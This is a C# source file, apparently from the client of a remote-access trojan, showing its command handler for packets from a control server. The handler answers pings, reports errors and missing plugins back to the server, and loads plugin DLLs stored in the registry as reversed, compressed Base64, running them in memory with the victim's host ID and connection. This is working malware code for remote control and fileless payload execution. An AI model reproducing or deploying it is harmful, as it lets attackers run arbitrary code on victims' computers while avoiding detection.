97 lines
4.1 KiB
C#
97 lines
4.1 KiB
C#
using Client.Algorithm;
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using Client.Helper;
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using Client.MessagePack;
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using Client.Connection;
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using System;
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using System.Diagnostics;
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using System.Reflection;
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using System.Threading;
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using System.Collections.Generic;
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using Microsoft.VisualBasic;
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namespace Client.Handle_Packet
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{
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public static class Packet
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{
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public static void Read(object data)
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{
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try
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{
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MsgPack unpack_msgpack = new MsgPack();
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unpack_msgpack.DecodeFromBytes((byte[])data);
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switch (unpack_msgpack.ForcePathObject("Packet").AsString)
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{
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case "pong": //send interval value to server
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{
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int interval = (int)ClientSocket.Interval;
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MsgPack msgPack = new MsgPack();
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msgPack.ForcePathObject("Packet").SetAsString("pong");
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msgPack.ForcePathObject("Message").SetAsInteger(interval);
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ClientSocket.Send(msgPack.Encode2Bytes());
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break;
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}
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case "plugin": // run plugin in memory
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{
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Received();
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Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))));
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Type type = assembly.GetType("Plugin.Plugin");
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dynamic instance = Activator.CreateInstance(type);
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instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
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break;
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}
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case "savePlugin": // save plugin as MD5:Base64
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{
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SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
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Debug.WriteLine("plugin saved");
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break;
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}
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case "checkPlugin": // server sent all plugins hashes, we check which plugin we miss
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{
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List<string> plugins = new List<string>();
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foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(','))
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{
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if (SetRegistry.GetValue(plugin) == null)
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{
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plugins.Add(plugin);
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Debug.WriteLine("plugin not found");
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}
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}
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if (plugins.Count > 0)
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{
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MsgPack msgPack = new MsgPack();
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msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
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msgPack.ForcePathObject("Hashes").SetAsString(string.Join(",", plugins));
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ClientSocket.Send(msgPack.Encode2Bytes());
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}
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break;
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}
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}
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}
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catch (Exception ex)
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{
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Error(ex.Message);
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}
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}
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private static void Received() //reset client forecolor
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{
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MsgPack msgpack = new MsgPack();
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msgpack.ForcePathObject("Packet").AsString = "Received";
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ClientSocket.Send(msgpack.Encode2Bytes());
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Thread.Sleep(1000);
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}
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public static void Error(string ex) //send to logs
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{
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MsgPack msgpack = new MsgPack();
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msgpack.ForcePathObject("Packet").AsString = "Error";
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msgpack.ForcePathObject("Error").AsString = ex;
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ClientSocket.Send(msgpack.Encode2Bytes());
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}
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}
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}
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